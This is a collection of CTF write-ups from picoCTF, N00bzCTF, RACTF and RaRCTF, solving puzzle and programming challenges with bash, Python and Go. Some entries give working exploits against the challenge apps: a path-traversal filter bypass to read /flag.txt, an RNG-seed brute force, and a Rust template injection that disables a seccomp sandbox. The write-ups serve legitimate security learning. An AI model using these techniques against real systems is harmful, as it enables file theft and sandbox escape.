CTF writeups

Forensics / Scan Surprise

2024-12-07T00:00:00+01:00

We are presented a challenge.zip containing

home/
    ctf-player/
        drop-in/
            flag.png

as well as a remote shell printing a qr code. The same QR code is also found in the flag.png inside of the challenge.zip and on the remote shell

$ ls
flag.png

To decode QR codes from an image we can use a command line tool like the zbar bar code reader. Fortunately this tool is already installed on the remote shell so we simply call it and get our flag

$ zbarimg flag.png
QR-Code:picoCTF{...}

Forensics / Verify

2024-12-07T00:00:00+01:00

After logging in to a remote shell we find a folder files/ containing flags and fake flags and a script ./decrypt.sh as well to check and decrypt those files.

If we run the script on one of those files we get an output telling us whether that file contains a fake flag or not:

$ ./decrypt.sh files/0SgkM1fC 
bad magic number
Error: Failed to decrypt 'files/0SgkM1fC'. This flag is fake! Keep looking!

Now all we need to do is do some bash magic to run that script for every single file in the files/ directory.

Typing a loop into the bash checks to call ./decrypt.sh on each file will give us a longer output containing the flag somewhere in between:

$ for f in files/*; do ./decrypt.sh "$f"; done
bad magic number
Error: Failed to decrypt 'files/0SgkM1fC'. This flag is fake! Keep looking!
bad magic number
Error: Failed to decrypt 'files/0aer7B0J'. This flag is fake! Keep looking!
...

To strip off all those outputs for the fake flag we use grep --invert-match or its shorthand version grep -v to filter out all lines containing flag is fake

$ for f in files/*; do ./decrypt.sh "$f"; done | grep -v 'flag is fake'
bad magic number
bad magic number
...

We still get bad magic number outputs written to stderr which we can get rid of by redirecting stderr to /dev/null

$ for f in files/*; do ./decrypt.sh "$f"; done 2> /dev/null | grep -v 'flag is fake'
picoCTF{...}

General Skills / Binary Search

2024-12-07T00:00:00+01:00

We are provided a game script that automatically gets executed when connecting to the remote shell:

#!/usr/bin/bash

# Generate a random number between 1 and 1000
target=$(( (RANDOM % 1000) + 1 ))

echo "Welcome to the Binary Search Game!"
echo "I'm thinking of a number between 1 and 1000."

# Trap signals to prevent exiting
trap 'echo "Exiting is not allowed."' INT
trap '' SIGQUIT
trap '' SIGTSTP

# Limit the player to 10 guesses
MAX_GUESSES=10
guess_count=0

while (( guess_count < MAX_GUESSES )); do
    read -p "Enter your guess: " guess

    if ! [[ "$guess" =~ ^[0-9]+$ ]]; then
        echo "Please enter a valid number."
        continue
    fi

    (( guess_count++ ))

    if (( guess < target )); then
        echo "Higher! Try again."
    elif (( guess > target )); then
        echo "Lower! Try again."
    else
        echo "Congratulations! You guessed the correct number: $target"

        # Retrieve the flag from the metadata file
        flag=$(cat /challenge/metadata.json | jq -r '.flag')
        echo "Here's your flag: $flag"
        exit 0  # Exit with success code
    fi
done

# Player has exceeded maximum guesses
echo "Sorry, you've exceeded the maximum number of guesses."
exit 1  # Exit with error code to close the connection

The task is to implement a script that reads the output of the shell and implements binary search to find the correct answer.

To connect stdin & stdout of a script with stdout & stdin of another command (i.e. a remote shell) one can use coproc

coproc A { echo "hello from proc A"; read a; echo "proc A received: $a" >&2; }
{ echo "hello from proc B"; read a; echo "proc B received: $a" >&2; } <&${A[0]} >&${A[1]}

output:

proc B received: hello from proc A
proc A received: hello from proc B

so we first build ourselves a helper script to connect stdin/stdout of two commands using coproc.

coproc-connect.sh

#!/bin/bash

if [ $# -ge 2 ]
then
    script="$1"
    shift
    coproc A { "$@"; }

    echo "Giving 5s time to enter ssh password.."
    sleep 5

    "$script" <&${A[0]} >&${A[1]}
else
    echo "Usage: $0 <script1> <command>"
fi

Now we can use that helper script for both

testing a local binary-search implementation against the local guessing-game.sh
running a local binary-search implementation against the remote shell

What we are still missing is the binary-search implementation, so lets create one.

#!/bin/bash

upper_bound=1000
lower_bound=1

candidate=500

# receive and echo welcome messages from game
read welcome_message; echo "<- $welcome_message" >&2
read welcome_message; echo "<- $welcome_message" >&2

while true
do
    # send and echo (next) answer
    echo "${candidate}"; echo "-> ${candidate}" >&2

    # receive and echo response
    read response; echo "<- $response" >&2
    if echo "$response" | grep -q "Higher"
    then
        lower_bound=${candidate}
    elif echo "$response" | grep -q "Lower"
    then
        upper_bound=${candidate}
    else
        break
    fi

    # calculate next candidate answer in the middle between lower and upper bounds
    candidate=$(( ${lower_bound}+(${upper_bound}-${lower_bound})/2 ))
done

# receive and echo flag
read flag; echo "$flag" >&2

A small test against the local ./guessing_game.sh proves that the solution works

$ ./coproc-connect.sh ./solution.sh home/ctf-player/drop-in/guessing_game.sh 
Giving 5s time to enter ssh password..
<- Welcome to the Binary Search Game!
<- I'm thinking of a number between 1 and 1000.
-> 500
<- Lower! Try again.
-> 250
<- Higher! Try again.
-> 375
<- Higher! Try again.
-> 437
<- Lower! Try again.
-> 406
<- Congratulations! You guessed the correct number: 406
home/ctf-player/drop-in/guessing_game.sh: Zeile 37: jq: Kommando nicht gefunden.
cat: /challenge/metadata.json: Datei oder Verzeichnis nicht gefunden
406

Running it against the remote shell will replace the error message with the flag of the challenge:

$ ./coproc-connect.sh ./solution.sh ssh -p 60545 ctf-player@atlas.picoctf.net
Giving 5s time to enter ssh password..
Pseudo-terminal will not be allocated because stdin is not a terminal.
ctf-player@atlas.picoctf.net's password: 
<- Welcome to the Binary Search Game!
<- I'm thinking of a number between 1 and 1000.
-> 500
<- Lower! Try again.
-> 250
<- Lower! Try again.
-> 125
<- Lower! Try again.
-> 63
<- Higher! Try again.
-> 94
<- Higher! Try again.
-> 109
<- Congratulations! You guessed the correct number: 109
Here's your flag: picoCTF{...}

picoCTF practice

2024-12-07T00:00:00+01:00

URL: picoCTF

Writeups can be found at picoCTF practice

BackFromBrazil

2024-08-04T00:00:00+02:00

Given 10 different squares made up of 1000x1000 random numbers you need to input the optimal path from the upper left to the lower right corner consisting only of steps d - down or r - right. The sum of all the visited numbers must be maximal.

An approach using dynamic programming can be used to find the optimal path through the square.

import sys

MAX_RUNS = 10
DIMENSION = 1000

# make recursion depth large enough so that width and length of the eggs-square fits in
sys.setrecursionlimit(2*DIMENSION + sys.getrecursionlimit())

def find_max_path(eggs, x, y, cached_result = None):
    if cached_result is None:
        cached_result = dict()

    if (x,y) in cached_result:
        return cached_result[(x,y)]

    right_result = None
    if x+1 < DIMENSION:
        right_result = find_max_path(eggs, x+1, y, cached_result)

    down_result = None
    if y+1 < DIMENSION:
        down_result = find_max_path(eggs, x, y+1, cached_result)

    if right_result is None and down_result is None:
        cached_result[(x,y)] = ('', eggs[y][x])
        return ('', eggs[y][x])

    if down_result is not None and (right_result is None or down_result[1] > right_result[1]):
        result = ('d' + down_result[0], eggs[y][x] + down_result[1])
        cached_result[(x,y)] = result
        return result

    if right_result is not None and (down_result is None or right_result[1] > down_result[1]):
        result = ('r' + right_result[0], eggs[y][x] + right_result[1])
        cached_result[(x,y)] = result
        return result

f = open("backfrombrazil.log", "w")

success = True

# read first input for run
received_reply = input()
f.write("< " + received_reply + "\n")

for run in range(MAX_RUNS):
    received_rows = []
    for i in range(DIMENSION):
        received_rows.append(received_reply)

        received_reply = input()
        f.write("< " + received_reply + "\n")

    eggs = []
    for received_row in received_rows:
        row = list(map(
            lambda s: int(s), 
            received_row.split(" ")[:-1]
        ))
        eggs.append(row)

    (path, sum_value) = find_max_path(eggs, 0, 0)
    print(path)
    f.write("> " + path + "\n")

    if "still in brazil" in received_reply or "didn't find" in received_reply or "out of time" in received_reply:
        success = False
        break

    # read first input for next run
    received_reply = input()
    f.write("< " + received_reply + "\n")

if success:
    received_reply = input()
    print(received_reply, file=sys.stderr)
    f.write("< " + received_reply + "\n")

    received_reply = input()
    print(received_reply, file=sys.stderr)
    f.write("< " + received_reply + "\n")

f.close()

Brain

2024-08-04T00:00:00+02:00

We are presented a string in brainfuck language. The first thing we notice that it is not outputting anything (not a single '.' character in it).

>+++++++++++[<++++++++++>-]<[-]>++++++++[<++++++>-]<[-]>++++++++[<++++++>-]<[-]
>++++++++++++++[<+++++++>-]<[-]>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++[<++>-]<[-]
>+++++++++++++++++++++++++++++++++++++++++[<+++>-]<[-]>+++++++[<+++++++>-]<[-]
>+++++++++++++++++++[<+++++>-]<[-]>+++++++++++[<+++++++++>-]<[-]>+++++++++++++[<++++>-]<[-]
>+++++++++++[<++++++++++>-]<[-]>+++++++++++++++++++[<+++++>-]<[-]>+++++++++++[<+++++++++>-]<[-]
>++++++++[<++++++>-]<[-]>++++++++++[<++++++++++>-]<[-]>+++++++++++++++++[<+++>-]<[-]
>+++++++++++++++++++[<+++++>-]<[-]>+++++++[<+++++++>-]<[-]>+++++++++++[<++++++++++>-]<[-]
>+++++++++++++++++++[<+++++>-]<[-]>++++++++++++++[<+++++++>-]<[-]
>+++++++++++++++++++[<++++++>-]<[-]>+++++++++++++[<++++>-]<[-]>+++++++[<+++++++>-]<[-]
>+++++++++++[<++++++++++>-]<[-]>+++++++++++++++++[<++++++>-]<[-]>+++++++[<++++++>-]<[-]
>+++++++++++[<+++++++++>-]<[-]
>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++[<+>-]<[-]
>+++++++++++[<+++>-]<[-]>+++++++++++++++++++++++++[<+++++>-]<[-]

The next thing that jumps into ones eye are these <[-]. The < jumps right back into the previous memory cell while [-] is equal to

while (cell_value[i] != 0) {
    cell_value[i]--;
}

and causes whatever value was written into that cell before to be decreased to 0 again.

Since we are curious we want to output each of these values before they get neutralized again. So our task here is to simply insert a . command into each of the <[-] commands: <.[-]

Putting the resulting brainfuck code into a brainfuck interpreter will now give us the flag.

N00bzCTF

2024-08-04T00:00:00+02:00

URL: N00BZCTF

Writeups can be found at N00bzCtf-2024

Numbers2

2024-08-04T00:00:00+02:00

Numbers2 is the successor of an older challenge presented at N00bzCtf 2023 with a few differences:

It outputs and additional welcome message
It asks for three different challenge questions
successful solving attempts are being answered with different responses

We have to solve several programming challenges here:

Challenge inputs do not end on EOL but on ': ' instead. So we cannot simply use the input() function to read the questions from stdin
We have to parse two integers from within a line of text
Questions for the least common multiple or the greatest common divisor can be answered using the builtin methods from the math module math.lcm() / math.gcd(). But to answer the question asking for the largest prime factor we must implement an algorithm or an appropriate library from pip must be used

1. can easily be achieved using the re.findall() method:

[x] = re.findall(r'\d+', "Give me the greatest prime factor of 42")
# x = 42

x, y = re.findall(r'\d+', "Give me the least common multiple of 42 and 23")
# x = "42"
# x = "23"

To solve 2. we need to write an own implementation of an input method that stops reading single characters once it sees a ':'. We simply call sys.stdin.read(1) in a loop and decide whether to continue reading chars or not.

def input_until_char(sep):
    input_read = ""

    c = sys.stdin.read(1)
    input_read += c
    while c != "" and c != "\n" and c != sep:
        c = sys.stdin.read(1)
        input_read += c
    return input_read

For 3. a naive implementation of using a loop over all prime factor candidates to find out whether a candidate factor is prime is fast enough to find the largest prime factor:

largest_prime_factor = 1
for n in range(1,int(x)+1):
    is_prime = True
    for factor in range(2, n):
        if n%factor == 0:
            is_prime = False
            break
    if is_prime and int(x)%n == 0 and n > largest_prime_factor:
        largest_prime_factor = n

Random

2024-08-04T00:00:00+02:00

We are given parts of the cpp source of the challenge. The main functions reads in a line and is doing some checks in the input

    map<char, int> counts;
    for (char c : s) {
        if (counts[c]) {
            cout << "no repeating letters allowed passed this machine" << endl;
            return 1;
        }
        counts[c]++;
    }

    if (s.size() < 10) {
        cout << "this machine will only process worthy strings" << endl;
        return 1;
    }

    if (s.size() == 69) {
        cout << "a very worthy string" << endl;
        cout << "i'll give you a clue'" << endl;
        cout << "just because something says it's random mean it actually is" << endl;
        return 69;
    }

after that the line input gets shuffled

    random_shuffle(s.begin(), s.end());

... and a sorting algorithm is asked to sort the characters of the line

    if (amazingcustomsortingalgorithm(s)) {
        ifstream fin("flag.txt");
        string flag;
        fin >> flag;
        cout << flag << endl;
    }
    else {
        cout << "UNWORTHY USER DETECTED" << endl;
    }

A quick look at the sort algorithm tells us that it is not really sorting but instead it checks if the input is already sorted and repeatedly (uo to 69 times) calls the random_shuffle method if the input is not sorted yet.

bool amazingcustomsortingalgorithm(string s) {
    int n = s.size();
    for (int i = 0; i < 69; i++) {
        cout << s << endl;
        bool good = true;
        for (int i = 0; i < n - 1; i++)
            good &= s[i] <= s[i + 1];

        if (good)
            return true;

        random_shuffle(s.begin(), s.end());

        this_thread::sleep_for(chrono::milliseconds(500));
    }

    return false;
}

The source code for the random_shuffle method is not known but there is a hint in of the input checks ...

    if (s.size() == 69) {
        cout << "a very worthy string" << endl;
        cout << "i'll give you a clue'" << endl;
        cout << "just because something says it's random mean it actually is" << endl;
        return 69;
    }

If we reconnect to the challenge and give it the same sample input like 0123456789 we'll see that the first shuffled version of that string is always producing the same output:

$ echo "0123456789" | nc challs.n00bzunit3d.xyz 10385
4378052169
0578439216

So our task here is to undo the fixed permutation above on the sorted value 0123456789 so that the first call of random_suffle will apply the permutation again and produce sorted string - leading the amazingcustomsortingalgorithm method to return true immediately and causing the flag to be printed:

The first output line tells us how to invert the permuation:

4   - character at index 4 -> 0
3   - character at index 3 -> 1
7   - character at index 7 -> 2
8   ...
0
5
2
1
6
9

... resulting in the input value 4761058239:

$ echo "4761058239" | nc challs.n00bzunit3d.xyz 10385
0123456789
n00bz{FAKE_FLAG}

SillyGoose

2024-08-04T00:00:00+02:00

Simple binary search number guessing game. You guess a number and the challenge tells you whether the goal is lower or higher.

import sys

lower_bound = 1
upper_bound = pow(10, 100)

f = open("sillygoose.log", "w")

found = False
while not found:
    attempt = lower_bound + (upper_bound - lower_bound)//2
    print(str(attempt))
    f.write("> " + str(attempt) + "\n")

    answer = input()
    f.write("< " + answer + "\n")

    if "too small" in answer:
        lower_bound = attempt
        continue
    if "too large" in answer:
        upper_bound = attempt
        continue
    break

flag = input()
f.write("< " + flag + "\n")
print(flag, file=sys.stderr)

print("yay")
f.write("> yay\n")

f.close()

Emojibook

2021-08-15T00:00:00+02:00

We are presented are django app which allows us to store text notes that can contain special placeholders which will be replaced by emoji images after uploading the note. For example

:grinning_face:

will be resolved to an image file name 1F600.png. The possible emoji keys that can be used are specified by the emoj.json file.

{
    "grinning_face": "1F600", 
    "grinning_face_with_big_eyes": "1F603",
    ...
}

By looking at the forms.py file we can see that before a note gets saved into the database the emoji keys will already be replaced by special place holders containing the file name of the image.

class NoteCreateForm(forms.ModelForm):
    ...

    def save(self, commit=True):
        instance = super(NoteCreateForm, self).save(commit=False)
        instance.author = self.user
        instance.body = instance.body.replace("{{", "").replace("}}", "").replace("..", "")

        with open("emoji.json") as emoji_file:
            emojis = json.load(emoji_file)

            for emoji in re.findall("(:[a-z_]*?:)", instance.body):
                instance.body = instance.body.replace(emoji, "{{" + emojis[emoji.replace(":", "")] + ".png}}")

        if commit:
            instance.save()
            self._save_m2m()

        return instance

So a note containing only the grinning_face emoji will be stored as:

{{1F600.png}}

What we also see in the forms.py is an attempt to prevent the user from manually entering the internally used placeholders.

instance.body = instance.body.replace("{{", "").replace("}}", "").replace("..", "")

But this mechanism can be tricked if we would enter something like this in a note:

{}}{/flag.txt}..}

After the replacements of {{, }} and .. happened the result still would be a note containig a placeholder in the internal format pointing to the file containing the flag:

{{/flag.txt}}

If we open the note again in the browser we will see an image that cannot be displayed. A quick look at the views.py reveals why:

def view_note(request: HttpRequest, pk: int) -> HttpResponse:
    note = get_object_or_404(Note, pk=pk)
    text = note.body
    for include in re.findall("({{.*?}})", text):
        print(include)
        file_name = os.path.join("emoji", re.sub("[{}]", "", include))
        with open(file_name, "rb") as file:
            text = text.replace(include, f"<img src=\"data:image/png;base64,{base64.b64encode(file.read()).decode('latin1')}\" width=\"25\" height=\"25\" />")

    return render(request, "note.html", {"note": note, "text": text})

The internal placeholders are replaced with an img tag that contains the image data in base64 format - or in our case the flag. All that is left to do is to look at the source code within the web browser, find that base64 string and decode it to get the flag.

Military Grade

2021-08-15T00:00:00+02:00

We are presented with a simple webservice written in go which randomly changes the encryption key every 672 ms and outputs the encrypted flag. However if we analyze the seed that is used to initialize the random number generator ...

func changer() {
    ticker := time.NewTicker(time.Millisecond * 672).C
    for range ticker {
        rand.Seed(time.Now().UnixNano() & ^0x7FFFFFFFFEFFF000)

        ...
    }
}

... we find out that there are only 13 bits that are chosen randomly in the changer() function.

^0x7FFFFFFFFEFFF000
-> ^0111 1111 1111 1111 1111 1111 1111 1111 1111 1110 1111 1111 1111 0000 0000 0000
->  1000 0000 0000 0000 0000 0000 0000 0000 0000 0001 0000 0000 0000 1111 1111 1111
    ^                                               ^                ^
    63 th bit - sign                                |                |
                                                    24 th bit        |
                                                                     12 bit number

So we can simply bruteforce all possible seeds to create "random" encryption keys the same way as the main.go file until the output of the webservice decodes to something that starts with "ractf{".

package main

import (
    "bytes"
    "crypto/aes"
    "crypto/cipher"
    "encoding/hex"
    "fmt"
    "log"
    "math/rand"
    "net/http"
    "os"
    "strings"
    "sync"
    "time"
)

const rawFlag = "[REDACTED]"

var flag string
var flagmu sync.Mutex

func decrypt(ciphertextHex string, bKey []byte, blockSize int) string {
    ciphertext, err := hex.DecodeString(ciphertextHex)
    if err != nil {
        log.Println(err)
        return ""
    }

    bIV := []byte(ciphertext)[:blockSize]
    bCiphertext := []byte(ciphertext)[blockSize:]
    block, err := aes.NewCipher(bKey)
    if err != nil {
        log.Println(err)
        return ""
    }

    plaintext := make([]byte, len(bCiphertext))
    mode := cipher.NewCBCDecrypter(block, bIV)
    mode.CryptBlocks(plaintext, bCiphertext)
    return string(plaintext)
}

func main() {
    var key []byte
    var iv []byte

    for i := 0; i < 32; i++ {
        key = append(key, byte(1))
    }

    for i := 0; i < aes.BlockSize; i++ {
        iv = append(iv, byte(1))
    }

    if len(os.Args) <= 1 {
        log.Println("No ciphertext given -> Ending now")
        return
    }

    ciphertextWithoutIV := os.Args[1]
    log.Println("Decrypting "+ ciphertextWithoutIV)

    // iterate twice over the 12 bit number range
    // first with bit 24 set to 0
    // second with bit 24 set to 1
    for flipBit24 := 0; flipBit24 < 2; flipBit24++ {
        for j := 0; j < (1<<12); j++ {
            seed := int64(j);
            if flipBit24 != 0 {
                seed |= int64(1)<<24
            }

            rand.Seed(seed)
            for k := 0; k < rand.Intn(32); k++ {
                rand.Seed(rand.Int63())
            }

            var key []byte
            var iv []byte

            for k := 0; k < 32; k++ {
                key = append(key, byte(rand.Intn(255)))
            }

            for k := 0; k < aes.BlockSize; k++ {
                iv = append(iv, byte(rand.Intn(255)))
            }

            ciphertext = hex.EncodeToString(iv) + ciphertextWithoutIV

            plaintext = decrypt(ciphertext, key, aes.BlockSize)

            if strings.Index(plaintext, "ractf{") == 0 || strings.Index(plaintext, "[REDACTED]") == 0 {
                print(plaintext)
            }
        }
    }
}

Really Awesome CTF 2021

2021-08-13T00:00:00+02:00

URL: RACTF2021

Github: ractf

Writeups can be found at Really Awesome CTF 2021

Electroplating

2021-08-09T00:00:00+02:00

We are given a docker container that presents us a gunicorn web-app. Just as in the Fancy Button Generator challenge we are asked to verify our session using the api-endpoint at location /pow. By looking at the app.py we can see that this time the difficulty was increased to 6:

@app.route("/pow", methods=["GET", "POST"])
def do_pow():
    if request.method == 'GET':
        ...
    else:
        import pow
        difficulty = int(os.getenv("DIFFICULTY", "6"))
        pref, suff = session['pref'], session['suff']
        answer = request.json.get('answer')
        if pow.verify(pref, suff, answer, difficulty):
            session['verified'] = True
            session['end'] = time.time() + 30
            return "Thank you!"
        else:
            return "POW incorrect"

For experimenting with the docker container it is a good idea to lower the difficulty when testing locally. By further looking at the source code of the Docker image we find a skeleton directory for a web application written in rust as well as an flask based python web application. In the app.py we find out about what the / endpoint does

@app.route('/', methods=['GET', 'POST'])
def upload_file():
    if not session.get('verified'):
        return "Please complete <pre>/pow</pre>", 403

    os.chdir('/app')
    if request.method == 'POST':
        try:
            file = request.files['file']
            path = os.path.join('uploads', secure_filename(file.filename))
            file.save(path)
            response = get_result(path)
            os.remove(path)
        except:
            response = traceback.format_exc()
        del session['verified']
        return render_template('upload.html', response=response)
    else:
        return render_template('upload.html')

After the session was verified we are presented with a file upload widget in the browser. The challenge also provides an example file template.htmlrs which will be accepted by the uploader:

<html>
<title><templ>"Page Title".to_string()</templ></title>
<h1><templ>"bruh".to_string()</templ></h1>
</html>

The template file seems to contain rust code inside of each <templ> tag. But how does the python app manage to interprete these expressions correctly? The magic happens within the get_result() function found in the app.py. We find two variables containing a code template for a web-application written in rust and the other containing a code template for a rust methods.

rust_template = """
#![allow(warnings, unused)]
use std::collections::HashMap;
use std::fs;
use std::env;
extern crate seccomp;
extern crate libc;

extern crate tiny_http;
extern crate seccomp_sys;
use seccomp::*;

use tiny_http::{Server, Response, Header, Request};

static ALLOWED: &'static [usize] = &[0, 1, 3, 11, 44,
                                     60, 89, 131, 202,
                                     231, 318];

fn main() {
    let mut dir = env::current_exe().unwrap();
    dir.pop();
    dir.push("../../app.htmlrs");
    let template = fs::read_to_string(dir.to_str().unwrap()).unwrap();
    let server = Server::http("127.0.0.1:%s").unwrap();
    apply_seccomp();
    for request in server.incoming_requests() {
        println!("received request! method: {:?}, url: {:?}",
            request.method(),
            request.url(),
        );
        handle_request(request, &template);
        std::process::exit(0);
    }
}

fn handle_request(req: Request, template: &String) {
    let mut methods: HashMap<_, fn() -> String> = HashMap::new();
    %s
    let mut html = template.clone();
    for (name, fun) in methods.iter() {
        html = html.replace(name, &fun());
    }
    let header = Header::from_bytes(
        &b"Content-Type"[..], &b"text/html"[..]
    ).unwrap();
    let mut response = Response::from_string(html);
    response.add_header(header);
    req.respond(response).unwrap();
}

fn apply_seccomp() {
    let mut ctx = Context::default(Action::KillProcess).unwrap();
    for i in ALLOWED {
        let rule = Rule::new(*i, None, Action::Allow);
        ctx.add_rule(rule).unwrap();
    }
    ctx.load();
}
%s
"""

templ_fun = """
fn temp%s() -> String {
    %s
}
"""

The get_result() function creates a copy of the skeleton directory containing the rust web-application. It uses the function template variable to create a rust method for each <templ> tag found in the uploaded file and puts the contents of each tags into the function body. The new rust methods are then injected into the rust code template found in the rust_template variable. The final result is written into an appp.htmlrs file inside of the copied skeleton directory before it gets executed in a separate process. After that the python part tries to reach the rust web-api endpoint to receive the rendered html contents.

def get_result(template_path: str):
with open(template_path) as f:
    templ = f.read()

with tempfile.TemporaryDirectory() as tmpdir:
    shutil.copytree('skeleton', tmpdir, dirs_exist_ok=True)
    os.chdir(tmpdir)
    port = str(random.randrange(40000, 50000))
    with open('src/main.rs', 'w') as f:
        soup = BeautifulSoup(templ, 'html.parser')
        funcs = []
        for i, temp in enumerate(soup.find_all('templ')):
            funcs.append(templ_fun % (i, temp.text))
            templ = templ.replace(f'<templ>{temp.text}</templ>', f'temp{i}', 1)
        hashmap = ""
        for i in range(len(funcs)):
            hashmap += f"""methods.insert("temp{i}", temp{i});\n"""
        f.write(rust_template % (port, hashmap, '\n'.join(funcs)))

    with open('app.htmlrs', 'w') as f:
        f.write(templ)

    os.system('cargo run --offline --verbose &')
    for _ in range(10):
        time.sleep(5)
        try:
            r = requests.get(f'http://localhost:{port}')
            os.chdir('/app')
            return r.text
        except:
            return traceback.format_exc()

    return "App failed to start"

The challenge here seems to be easy at first as we just need to place the correct rust code inside of one of the <templ> tags in the uploaded file to open and read the flag.txt file:

<html>
<title><templ>fs::read_to_string("/flag.txt").unwrap()</templ></title>
<h1><templ>"bruh".to_string()</templ></h1>
</html>

However this attempt fails because the rust application uses the seccomp library to limit the system calls that are allowed to do:

use seccomp::*;

...

static ALLOWED: &'static [usize] = &[0, 1, 3, 11, 44,
                                     60, 89, 131, 202,
                                     231, 318];

...

fn apply_seccomp() {
    let mut ctx = Context::default(Action::KillProcess).unwrap();
    for i in ALLOWED {
        let rule = Rule::new(*i, None, Action::Allow);
        ctx.add_rule(rule).unwrap();
    }
    ctx.load();
}

By looking at the beginning of the rust_template variable we can see that the seccomp namespace is not imported but only its contents. This gives us the chance to create the same classes as provided by the lib.rs but with manipulated behaviour. By injecting our own manipulated "Context" class into the uploaded file we can prevent the rust application from applying the seccomp rules into the kernel:

<html>
<title><templ>fs::read_to_string("/flag.txt").unwrap()</templ></title>
<h1><templ>
  "anything".to_string()
  // / 1) escape from temp1() method definition by putting a } here
}

// / 2) seccomp reimplementation - copied from lib.rs and manipulated to allow everything
// /    this works because the seccomp::Context object is imported with * and instanciated without
// /    using its original namespace seccomp::

// / <![CDATA[
// /    Note: the CDATA section enables us to use "<" and ">" (prevents the html parser from recognizing tags in here)
use seccomp_sys::scmp_compare::*;
use seccomp_sys::*;

#[derive(Debug)]
pub struct SeccompError {
    msg: String,
}

impl SeccompError {
    fn new<T: Into<String>>(msg: T) -> Self {
        SeccompError { msg: msg.into() }
    }
}

#[derive(Debug)]
pub struct Context {
    int: *mut scmp_filter_ctx,
}

impl Context {
    /// Creates new context with default action
    pub fn default(def_action: Action) -> Result<Context, SeccompError> {
        let filter_ctx = unsafe { seccomp_init(Action::Allow.into()) };
        if filter_ctx.is_null() {
            return Err(SeccompError::new("initialization failed"));
        }
        Ok(Context { int: filter_ctx })
    }

    /// Adds rule to the context
    pub fn add_rule(&mut self, rule: Rule) -> Result<(), SeccompError> {
        Ok(())
    }

    /// Loads the filter into the kernel. Rules will be applied when this function returns.
    pub fn load(&self) -> Result<(), SeccompError> {
        Ok(())
    }
}
// / ]]>

// / 3) defining another method to have valid syntax - the } will be added by the app.py
fn anyMethod() -> String {
  "hello".to_string()
</templ></h1>
</html>

Now all we need to do is upload this file and the flag will be presented to us as replacement for the first <templ> tag.

The Fancy Button Generator challenge already gave us the template-solve.py file which automates session verification and file uploading for us. A slight modification allows us to use it for both - local testing and solving the remote challenge:

import requests

import hashlib
import uuid
import binascii
import os
import sys

def generate():
    return uuid.uuid4().hex[:4], uuid.uuid4().hex[:4]

def verify(prefix, suffix, answer, difficulty=6):
    hash = hashlib.sha256(prefix.encode() + answer.encode() + suffix.encode()).hexdigest()
    return hash.endswith("0"*difficulty)

def solve(prefix, suffix, difficulty):
    while True:
        test = binascii.hexlify(os.urandom(4)).decode()
        if verify(prefix, suffix, test, difficulty):
            return test

s = requests.Session()

print("Hint: usage [url] [difficulty]")
print("Example: " + sys.argv[0] + " [url] [difficulty]")

host = None
difficulty = None

if len(sys.argv) > 1 and sys.argv[1]:
    host = sys.argv[1]
if len(sys.argv) > 2 and sys.argv[2]:
    difficulty = int(sys.argv[2])

if host is None or host == "":
    host = "https://electroplating.rars.win"
if difficulty is None:
    difficulty = 6

data = s.get(host + "/pow").json()
print("Solving POW")
solution = solve(data['pref'], data['suff'], difficulty)
print(f"Solved: {solution}")
s.post(host + "/pow", json={"answer": solution})

files = { 'file': open('template.htmlrs', 'rb') }
r = s.post(host + "/", files=files)
print(r.text)

RaRCTF 2021 Capture The Flag

2021-08-06T19:00:00+02:00

URL: RaRCTF 2021 Capture The Flag

Github: RarCTF2021-Challenges-Public

Writeups can be found in category RaRCTF 2021 Capture The Flag

README

2021-08-01T00:00:00+02:00

In this category info about CTFs are listed. The writeups for each CTF can be found in the category for the CTF.